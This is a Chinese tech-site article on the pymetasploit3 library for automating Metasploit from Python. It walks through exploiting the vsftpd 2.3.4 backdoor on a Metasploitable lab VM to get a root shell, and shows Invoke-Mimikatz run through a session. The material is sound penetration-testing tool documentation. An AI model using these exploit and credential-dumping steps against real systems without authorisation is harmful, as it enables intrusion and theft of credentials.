pymetasploit3:一個Python編寫的Metasploit自動化庫

2019-06-18 65066人圍觀 ,發現 3 個不明物體 工具

Pymetasploit3是一個Python編寫的成熟的Metasploit自動化庫。它可以通過msfrpcd或msfconsole中的msgrpc插件與Metasploit進行交互。

原始庫:pymetasploit

該項目是Python2 pymetasploit庫的更新和改進版本。

原項目地址:https://github.com/allfro/pymetasploit

安裝

mkdir your-project
cd your-project
pipenv install --three pymetasploit3
pipenv shell

或:

pip3 install --user pymetasploit3

基本使用

啟動 Metasploit RPC server

你也可以使用msfrpcd或msfconsole啟動RPC server。

Msfconsole

這將啟動端口55552上的RPC server以及Metasploit控制臺UI。

$ msfconsole
msf> load msgrpc [Pass=yourpassword]

msfrpcd

這將在端口55553上啟動RPC服務器,并將在后臺啟動RPC server。

$ msfrpcd -P yourpassword -S

RPC client

連接到 msfrpcd

>>> from pymetasploit3.msfrpc import MsfRpcClient
>>> client = MsfRpcClient('yourpassword')

加載 msgrpc 插件連接到 msfconsole

>>> from pymetasploit3.msfrpc import MsfRpcClient
>>> client = MsfRpcClient('yourpassword', port=55552)

MsfRpcClient

Msfrpcclient類提供了在metasploit框架中導航的核心功能。使用dir(client)查看可調用的方法。

>>> [m for m in dir(client) if not m.startswith('_')]
['auth', 'authenticated', 'call', 'client', 'consoles', 'core', 'db', 'jobs', 'login', 'logout', 'modules', 'plugins',
'port', 'server', 'token', 'sessions', 'ssl', 'uri']
>>>

與metasploit框架一樣,MsfRpcClient被分割為不同的管理模塊:

auth:管理msfrpcd守護程序的客戶端身份驗證。

consoles:管理與Metasploit模塊創建的控制臺/shell的交互。

core:管理Metasploit框架核心。

db:管理msfrpcd的后端數據庫連接。

modules:管理Metasploit模塊的交互和配置(即exploits,auxiliaries等)

plugins:管理與Metasploit核心相關的插件。

sessions:管理與Metasploit meterpreter會話的交互。

運行一個 exploit

exploit模塊:

>>> client.modules.exploits
['windows/wins/ms04_045_wins', 'windows/winrm/winrm_script_exec', 'windows/vpn/safenet_ike_11',
'windows/vnc/winvnc_http_get', 'windows/vnc/ultravnc_viewer_bof', 'windows/vnc/ultravnc_client', ...
'aix/rpc_ttdbserverd_realpath', 'aix/rpc_cmsd_opcode21']
>>>

創建一個exploit模塊對象:

>>> exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor')
>>>

exploit模塊信息:

>>>  print(exploit.description)

          This module exploits a malicious backdoor that was added to the	VSFTPD download
          archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
          June 30th 2011 and July 1st 2011 according to the most recent information
          available. This backdoor was removed on July 3rd 2011.

>>> exploit.options
['TCP::send_delay', 'ConnectTimeout', 'SSLVersion', 'VERBOSE', 'SSLCipher', 'CPORT', 'SSLVerifyMode', 'SSL', 'WfsDelay',
'CHOST', 'ContextInformationFile', 'WORKSPACE', 'EnableContextEncoding', 'TCP::max_send_size', 'Proxies',
'DisablePayloadHandler', 'RPORT', 'RHOST']
>>> exploit.missing_required # Required options which haven't been set yet
['RHOST']
>>>

讓我們使用在VMWare上運行的Metasploitable 2實例作為我們的漏洞利用目標。它當前運行了我們最喜歡的vsFTPd版本 – 2.3.4 – 我已經加載了漏洞利用模塊。下一步是指定我們的攻擊目標:

>>> exploit['RHOST'] = '172.16.14.145' # IP of our target host
>>>

選擇一個payload:

>>> exploit.targetpayloads()
['cmd/unix/interact']
>>>

該漏洞的利用僅支持一個payload(cmd/unix/interact)。讓我們來彈出一個shell:

>>> exploit.execute(payload='cmd/unix/interact')
{'job_id': 1, 'uuid': '3whbuevf'}
>>>

可以看到job成功運行,因為job_id為1。如果模塊由于任何原因無法執行,則job_id將為None。在會話列表中我們可以看到一些非常有用的信息。

>>> client.sessions.list
{1: {'info': '', 'username': 'jsmith', 'session_port': 21, 'via_payload': 'payload/cmd/unix/interact',
'uuid': '5orqnnyv', 'tunnel_local': '172.16.14.1:58429', 'via_exploit': 'exploit/unix/ftp/vsftpd_234_backdoor',
'exploit_uuid': '3whbuevf', 'tunnel_peer': '172.16.14.145:6200', 'workspace': 'false', 'routes': '',
'target_host': '172.16.14.145', 'type': 'shell', 'session_host': '172.16.14.145', 'desc': 'Command shell'}}
>>>

與 shell 交互

從上面找到的會話編號中創建一個shell對象并寫入:

>>> shell = client.sessions.session('1')
>>> shell.write('whoami')
>>> print(shell.read())
root
>>>

像此前一樣運行相同的exploit對象,但要它完成并獲取輸出:

>>> cid = client.consoles.console().cid # Create a new console and store its number in 'cid'
>>> print(client.consoles.console(cid).run_module_with_output(exploit, payload='cmd/unix/interact'))
# Some time passes
'[*] 172.16.14.145:21 - Banner: 220 vsFTPd 2.3.4
[*] 172.16.14.145:21 - USER: 331 Please specify the password
...'

client.sessions.session(’1′)具有相同的.write(‘some string’) 和.read()方法,但運行會話命令并等待它們完成返回輸出并不像控制臺命令那么簡單。對于client.consoles.console(’1′).is_busy(),Metasploit RPC服務器將返回一個為true或False的busy值,但要確定client.sessions.session()是否完成運行命令需要我們手動執行。為此,我們將使用一個字符串列表,當在會話輸出中找到任何字符串時,它將告訴我們會話已運行完其命令。下面我們在meterpreter會話中運行arp命令。我們知道這個命令將返回一個包含字符的較大blob文本—-如果成功運行,那么我們將它放入一個列表對象中。

>>> session_id = '1'
>>> session_command = 'arp'
>>> terminating_strs = ['----']
>>> client.sessions.session(session_id).run_with_output(session_command, terminating_strs)
# Some time passes
'\nARP Table\n                  ---------------\n  ...`

使用輸出運行PowerShell腳本:

>>> session_id = '1'
>>> psh_script_path  = '/home/user/scripts/Invoke-Mimikatz.ps1'
>>> session = c.sessions.session(sessions_id)
>>> sessions.import_psh(psh_script_path)
>>> sessions.run_psh_cmd('Invoke-Mimikatz')
# Some time passes
'Mimikatz output...'

也可以使用超時簡單地返回在超時到期之前找到的所有數據。timeout默認值為Metasploit的通信超時300秒,如果命令超時,則會拋出異常。更改此設置,請將timeout_exception設置為False,庫將只返回在超時到期之前找到的會話輸出中的所有數據。

>>> session_id = '1'
>>> session_command = 'arp'
>>> terminating_strs = ['----']
>>> client.sessions.session(session_id).run_with_output(session_command, terminating_strs, timeout=10, timeout_exception=False))
# 10s pass
'\nARP Table\n                  ---------------\n  ...`

更多示例

你可以在example_usage.py文件中找到許多其他用法示例。

 *參考來源:GitHub,FB小編secist編譯,轉載請注明來自FreeBuf.COM

發表評論

已有 3 條評論

取消
Loading...

特別推薦

推薦關注

填寫個人信息

姓名
電話
郵箱
公司
行業
職位
css.php 重庆百变王牌走势图